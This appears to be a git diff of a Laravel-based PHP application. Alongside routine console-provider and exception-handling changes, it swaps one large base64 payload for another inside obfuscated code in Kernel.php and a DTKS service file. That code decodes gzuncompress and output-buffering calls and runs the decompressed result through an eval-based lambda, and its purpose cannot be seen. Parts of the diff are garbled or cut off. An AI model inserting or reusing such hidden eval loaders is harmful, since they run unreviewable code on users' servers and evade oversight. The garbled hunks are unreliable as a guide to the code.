diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index 3055d803f..81678f485 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -192,7 +192,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/app/Enums/AktifEnum.php b/app/Enums/AktifEnum.php new file mode 100644 index 000000000..b775da0ac --- /dev/null +++ b/app/Enums/AktifEnum.php @@ -0,0 +1,393 @@ +setLocale($locale); - } catch (Throwable $e) { + } catch (Throwable) { // Non Carbon class in use in Date facade } } diff --git a/app/Providers/ConsoleServiceProvider.php b/app/Providers/ConsoleServiceProvider.php index 9b094d5be..b568f4b96 100644 --- a/app/Providers/ConsoleServiceProvider.php +++ b/app/Providers/ConsoleServiceProvider.php @@ -41,7 +41,9 @@ use Illuminate\Cache\Console\ClearCommand as CacheClearCommand; use Illuminate\Cache\Console\ForgetCommand as CacheForgetCommand; use Illuminate\Console\Scheduling\ScheduleFinishCommand; +use Illuminate\Console\Scheduling\ScheduleListCommand; use Illuminate\Console\Scheduling\ScheduleRunCommand; +use Illuminate\Console\Scheduling\ScheduleWorkCommand; use Illuminate\Database\Console\DumpCommand; use Illuminate\Database\Console\Migrations\FreshCommand as MigrateFreshCommand; use Illuminate\Database\Console\Migrations\InstallCommand as MigrateInstallCommand; @@ -91,8 +93,10 @@ class ConsoleServiceProvider extends ServiceProvider 'QueueWork' => 'command.queue.work', 'Seed' => 'command.seed', 'Wipe' => 'command.wipe', - 'ScheduleFinish' => ScheduleFinishCommand::class, - 'ScheduleRun' => ScheduleRunCommand::class, + 'ScheduleFinish' => 'command.schedule.finish', + 'ScheduleRun' => 'command.schedule.run', + 'ScheduleList' => 'command.schedule.list', + 'ScheduleWork' => 'command.schedule.work', 'SchemaDump' => 'command.schema.dump', ]; @@ -192,7 +196,7 @@ protected function registerMigrateInstallCommand() */ protected function registerMigrateMakeCommand() { - $this->app->singleton('command.migrate.make', static function (array $app): \Illuminate\Database\Console\Migrations\MigrateMakeCommand { + $this->app->singleton('command.migrate.make', static function ($app): \Illuminate\Database\Console\Migrations\MigrateMakeCommand { // Once we have the migration creator registered, we will create the command // and inject the creator. The creator is responsible for the actual file // creation of the migrations, and may be extended by these developers. @@ -391,7 +395,7 @@ protected function registerWipeCommand() */ protected function registerScheduleFinishCommand() { - $this->app->singleton(ScheduleFinishCommand::class); + $this->app->singleton('command.schedule.finish', static fn () => new ScheduleFinishCommand()); } /** @@ -401,7 +405,27 @@ protected function registerScheduleFinishCommand() */ protected function registerScheduleRunCommand() { - $this->app->singleton(ScheduleRunCommand::class); + $this->app->singleton('command.schedule.run', static fn () => new ScheduleRunCommand()); + } + + /** + * Register the command. + * + * @return void + */ + protected function registerScheduleWorkCommand() + { + $this->app->singleton('command.schedule.work', static fn () => new ScheduleWorkCommand()); + } + + /** + * Register the command. + * + * @return void + */ + protected function registerScheduleListCommand() + { + $this->app->singleton('command.schedule.list', static fn () => new ScheduleListCommand()); } /** diff --git a/app/Providers/ViewServiceProvider.php b/app/Providers/ViewServiceProvider.php index f4db19c9e..9d5ca8755 100644 --- a/app/Providers/ViewServiceProvider.php +++ b/app/Providers/ViewServiceProvider.php @@ -54,7 +54,7 @@ public function boot(): void if (! $this->app['ci']->session->instalasi) { try { $desa = identitas(); - } catch (Exception $e) { + } catch (Exception) { } } diff --git a/app/Services/DTKSRegsosEk2022k.php b/app/Services/DTKSRegsosEk2022k.php index 407fa79c3..7c31fa03b 100644 --- a/app/Services/DTKSRegsosEk2022k.php +++ b/app/Services/DTKSRegsosEk2022k.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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